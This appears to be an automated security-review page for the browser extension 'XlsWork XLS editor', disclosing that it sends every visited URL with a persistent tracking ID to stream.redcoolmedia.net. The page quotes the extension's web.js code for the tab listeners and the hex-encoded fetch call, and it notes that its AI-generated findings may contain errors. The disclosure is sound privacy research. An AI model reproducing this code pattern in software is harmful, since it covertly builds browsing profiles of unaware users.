Is XlsWork XLS editor for spreadsheets safe?
XlsWork is high risk. Each time you navigate to a website, the extension sends the URL to stream.redcoolmedia.net with a 10-char ID generated on first run. The ID never changes, tying every visited URL into one browsing profile. Traffic analysis confirmed this.…
Who publishes itRedcoolMedia - 15 other listings from the same operator, 10 of them carrying a finding
RedcoolMedia - 15 other listings from the same operator, 10 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
15 other listings published from this account, 442k+ users between them. 10 of them carry a finding.
Shared hosts - 2 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Persistent tracking ID tied to your full browsing history
Each time you navigate to a website, the extension sends the URL to stream.redcoolmedia.net with a 10-char ID generated on first run.
The ID never changes, tying every visited URL into one browsing profile.
Traffic analysis confirmed this.
You navigate to any website.
Activating a tab or any URL update fires the extension's tab listeners.
The extension sends your persistent ID and the visited URL to the developer's server.
The same ID appears in every request for the lifetime of the extension install.
| Field | Value | Why it matters | |
|---|---|---|---|
Visited URL | https://www.google.com/ | The full address of every website you navigate to. | |
Persistent tracking ID | zqpkr0w890 | A randomly generated 10-character code stored permanently in your browser. It never changes, so requests link back to you across sessions. |
Tracking ID and opt-in flag are stored locally. Set redcoolonline to '0' via the popup's 'Edit Online' checkbox to stop transmission.
chrome.storage.local key 'redcool_key'{
"redcoolonline": "1",
"usernameredcool": "zqpkr0w890"
}ID generation and transmission (web.js)
async function exx(urly) { var redxda = { usernameredcool: null, redcoolonline: null }; let storageResult = await chrome.storage.local.get([redcool_key]); if (redcool_key in storageResult) { redxda = storageResult[redcool_key] } if ( redxda.usernameredcool ) { usernameredcool = redxda.usernameredcool; // reuse stored ID } else { usernameredcool = "" + randomString(10) + "".toLowerCase(); // generate new ID redxda.usernameredcool = usernameredcool; } if ( redxda.redcoolonline == "0") return; // opt-out check let rtcx = await fetch('https://stream.redcoolmedia.net/api/xlsworku.php?l=' + bin2hex(urly) + '&hex=1&u=' + un); // transmit URL + ID }- stream.redcoolmedia.net
Developer-operated server receiving every visited URL paired with the persistent tracking ID via the xlsworku.php endpoint.
Every URL you visit is sent to the developer's server
Every time you open, switch to, or reload a tab, the extension sends the full URL to stream.redcoolmedia.net on every HTTP/HTTPS navigation.
Dynamic analysis confirmed a GET request with the hex-encoded URL and a stable tracking ID.
You switch to a tab or a page finishes loading.
Both chrome.tabs.onActivated and chrome.tabs.onUpdated events fire the transmission routine.
The extension reads the full URL and sends it to the developer's server.
Transmission happens automatically, with no user interaction beyond normal browsing.
The URL is converted to ASCII hex before transmission. The encoding is reversible with no key, any party with access to the server logs can read every URL.
https://www.google.com/
| Field | Value | Why it matters | |
|---|---|---|---|
Full page URL | https://www.google.com/ | The complete address of every page you visit, including paths, query strings, and fragments. | |
Tracking ID | zqpkr0w890 | A permanent 10-character code that links all your URL transmissions into a single cross-session browsing profile. |
Tab listener and transmission logic (web.js)
// xdii = 'transmit if eligible' function xdii(tabId) { chrome.tabs.get(tabId, function(tab) { if ( tab.url.indexOf("redco") == -1 // exclude developer's own domains && tab.url.indexOf("http") !== -1 // only http(s) URLs && lasiee != tab.url // deduplicate: skip if same URL as last transmission ) { exx(tab.url); // transmit the URL lasiee = tab.url; // record last-sent URL } }); } function web() { this.init = function () { chrome.tabs.onActivated.addListener(function(activeInfo) { xdii(activeInfo.tabId); }); chrome.tabs.onUpdated.addListener(function(tabId) { xdii(tabId); }); }; }- stream.redcoolmedia.net
Developer-operated server. Receives every visited URL and tracking ID via /api/xlsworku.php. Also used by xlsworkb.php and filemanager.php, seen in DA capture.
What it can do
Permissions this extension asks for, as declared in version 1.8.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See the address and title of every tab you have open
tabs